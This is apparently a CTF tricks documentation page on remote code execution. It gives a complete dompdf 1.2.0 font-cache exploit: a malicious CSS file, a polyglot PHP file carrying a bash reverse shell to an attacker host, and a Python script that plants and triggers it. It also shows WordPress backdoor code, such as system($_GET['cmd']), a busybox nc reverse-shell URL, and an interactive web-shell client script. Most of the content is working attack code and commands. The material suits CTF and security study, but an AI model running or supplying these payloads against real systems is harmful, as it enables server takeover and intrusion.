> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/rce/trick-0216/web-rce-vulnerability-exploitation.md).

# Vulnerability Exploitation

## Dompdf RCE via Polyglot Font Cache

Exploit dompdf 1.2.0's font caching vulnerability to achieve RCE by planting a malicious PHP file. The library can be tricked into downloading a remote file via an `@font-face` rule in CSS and caching it with a predictable PHP extension in its font directory.

First, host a CSS file and a polyglot PHP file on an attacker-controlled HTTP server.

`exploit.css`:

```css
@font-face {
    font-family:'exploitfont';
    src:url('http://MY_IP/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
}
```

`exploit_font.php`: Include minimal font data followed by your PHP payload. It is crucial to include `<?php exit(); ?>` at the beginning of the PHP code block to prevent errors when dompdf attempts to parse the file as a font metric file before it's executed as PHP.

```php
<?php exit(); ?>
// minimal font data here...
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/MY_IP/4444 0>&1'")?>
```

Trigger the font download by injecting the crafted CSS into the HTML processed by dompdf. This can be done using tools like `curl` as initially shown, or via a dedicated script.

A Python script can be used to automate sending the crafted HTML to the target API endpoint that uses dompdf, calculate the cached file path, and trigger the execution. The script takes the target URL and attacker's IP as arguments.

```python
import requests
import sys
import hashlib
import time
import urllib.parse

if len(sys.argv) != 3:
    print("Usage: python exploit.py <target_url> <attacker_ip>")
    sys.exit(1)

target_url = sys.argv[1]
attacker_ip = sys.argv[2]

# The URL that will be placed in the CSS src attribute
attacker_php_url = f"http://{attacker_ip}/exploit_font.php"
# The URL for the CSS file itself
attacker_css_url = f"http://{attacker_ip}/exploit.css"

# HTML payload referencing the CSS file
html_payload = f"<link rel=stylesheet href='{attacker_css_url}'>"

data = {"html": html_payload}

print(f"[*] Sending payload to {target_url}")
try:
    response = requests.post(target_url, json=data)
    print(f"[*] Status Code: {response.status_code}")
    # print(f"[*] Response: {response.text}") # Optional: print response

except requests.exceptions.RequestException as e:
    print(f"[-] Error sending request: {e}")
    sys.exit(1)

print("[*] Font download triggered. Calculating cached file path...")

# Calculate the predicted cached filename
# The filename is font_family_font_style_md5(url).php
font_family = "exploitfont"
font_style = "normal"
# The hash is of the URL *in the src attribute*
md5_hash = hashlib.md5(attacker_php_url.encode()).hexdigest()
cached_font_name = f"{font_family}_{font_style}_{md5_hash}.php"

# Construct the typical cached font path
cached_font_path = f"/vendor/dompdf/dompdf/lib/fonts/{cached_font_name}"

print(f"[*] Predicted cached file: {cached_font_path}")

# Add a small delay to allow the server to process the request and write the file
time.sleep(2)

print("[*] Attempting to access cached file to trigger payload...")

# Extract the base URL from the target URL
parsed_url = urllib.parse.urlparse(target_url)
target_base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"

# Construct the full URL to the cached file
trigger_url = f"{target_base_url}{cached_font_path}"

print(f"[*] Trigger URL: {trigger_url}")

try:
    response = requests.get(trigger_url)
    print(f"[*] Trigger Status Code: {response.status_code}")
    print(f"[*] Trigger Response:\n{response.text}")

except requests.exceptions.RequestException as e:
    print(f"[-] Error accessing cached file: {e}")

```

Listen for the reverse shell:

```bash
nc -lnp 4444
```

Finally, request the cached PHP file directly to execute the embedded payload. The cached filename is determined by the font family, style, and an MD5 hash of the source URL specified in the `@font-face` rule. The typical path structure is `/vendor/dompdf/dompdf/lib/fonts/<font_family>_<font_style>_<MD5_HASH_OF_URL>.php`. For the example above, using `font-family:'exploitfont'`, `font-style:'normal'`, and `src:url('http://MY_IP/exploit_font.php')`, the filename would be `exploitfont_normal_<MD5_HASH_OF_http://MY_IP/exploit_font.php>.php`.

```bash
# Replace <MD5_HASH> with the actual MD5 hash of http://MY_IP/exploit_font.php
# Example MD5 (replace MY_IP): MD5("http://192.168.1.100/exploit_font.php")
curl http://target/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_882899a085dc289850502dc75ac094f1.php
```

Adjust `MY_IP`, the target URL, port, the PHP payload, and calculate the correct MD5 hash for the URL used in the `src` attribute as needed.

***

## Exploit Backdoored WordPress Plugin RCE

During source code analysis of a backdoored plugin file (e.g., `wp-content/plugins/hello.php`), obfuscated PHP code might be found. Decrypting or analyzing such code reveals hidden functionality. One common pattern observed is the use of `eval(base64_decode('...'))`. The decoded string often contains malicious PHP code.

In one instance, the following code snippet was found within an `eval(base64_decode('...'))`:

```php
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
```

The obfuscated string `"\143\155\x64"` (using octal and hex escapes) decodes to `cmd`. This code checks for a GET parameter named `cmd` and executes its value using the `system()` function, leading to Remote Code Execution (RCE). This code checks for the presence of a GET parameter named 'cmd' and executes the value of this parameter using the `system()` function, leading to Remote Code Execution (RCE).

To exploit this, simply append the `?cmd=` parameter with your desired command to the URL of any page that loads the vulnerable plugin code (such as `/wp-admin/index.php`):

```bash
http://www.smol.thm/wp-admin/index.php?cmd=<YOUR_COMMAND>
```

For example, to get a reverse shell using `busybox nc`:

```bash
http://www.smol.thm/wp-admin/index.php?cmd=busybox nc <ATTACKER IP> 4444 -e bash
```

Another common backdoor pattern involves compression before encoding, such as `eval(gzinflate(base64_decode('...')));`. This method first decodes the base64 string, then decompresses it using `gzinflate`, and finally executes the resulting code using `eval`. The decompressed code might contain functions to handle requests, often looking for specific parameters. An example of the decompressed code might look like this:

```php
<?php
if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'shell') {
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
    }
}
?>
```

This code uses `$_REQUEST`, which includes both GET and POST parameters, looking for an 'action' parameter set to 'shell' and a 'cmd' parameter whose value is executed. To interact with this type of backdoor, one might use `curl` to send a POST request with the required parameters. For instance, executing a command like `ls -l` could be done with:

```bash
curl -X POST -d 'action=shell&cmd=ls -l' http://www.example.com/wp-content/plugins/hello.php
```

***

## Exploit Hidden RCE Backdoor via GET Parameter

A hidden RCE backdoor, often revealed through source code analysis (like a `system($_GET["cmd"])` call), can be triggered by sending a GET request to the vulnerable page. The command to be executed is provided as the value for a specific GET parameter and must be URL-encoded.

A common implementation involves a PHP file, potentially within a directory like `/wp-admin/`, containing code similar to:

```php
<?php system($_GET["cmd"]); ?>
```

This simple backdoor allows for command execution on the server by sending a GET request to the file with the parameter `cmd`.

For example, if the backdoor is on `/wp-admin/admin-ajax.php` and uses the parameter `cmd`:

```
http://www.smol.thm/wp-admin/admin-ajax.php?cmd=whoami
```

To execute commands containing spaces or special characters, the payload must be URL-encoded. For instance, executing `ls -la` would look like this:

```
http://www.smol.thm/wp-admin/admin-ajax.php?cmd=ls%20-la
```

Another variation could involve base64 decoding the command before execution, like `system(base64_decode($_GET['cmd']));`. In this case, the command payload sent in the `cmd` parameter would need to be base64 encoded.

This process can be automated using scripting languages. A simple Python script can facilitate sending commands and receiving output:

```python
import requests
import urllib.parse

url = "http://smol.thm/wp-admin/admin-ajax.php"

def execute_command(command):
    encoded_command = urllib.parse.quote(command)
    payload = {"cmd": encoded_command}
    response = requests.get(url, params=payload)
    print(response.text)

if __name__ == "__main__":
    while True:
        command = input("Enter command to execute (or 'exit' to quit): ")
        if command.lower() == 'exit':
            break
        execute_command(command)
```

This script prompts the user for a command, URL-encodes it, constructs the GET request with the `cmd` parameter, sends it to the vulnerable URL, and prints the response, effectively providing a command-line interface to the backdoor.
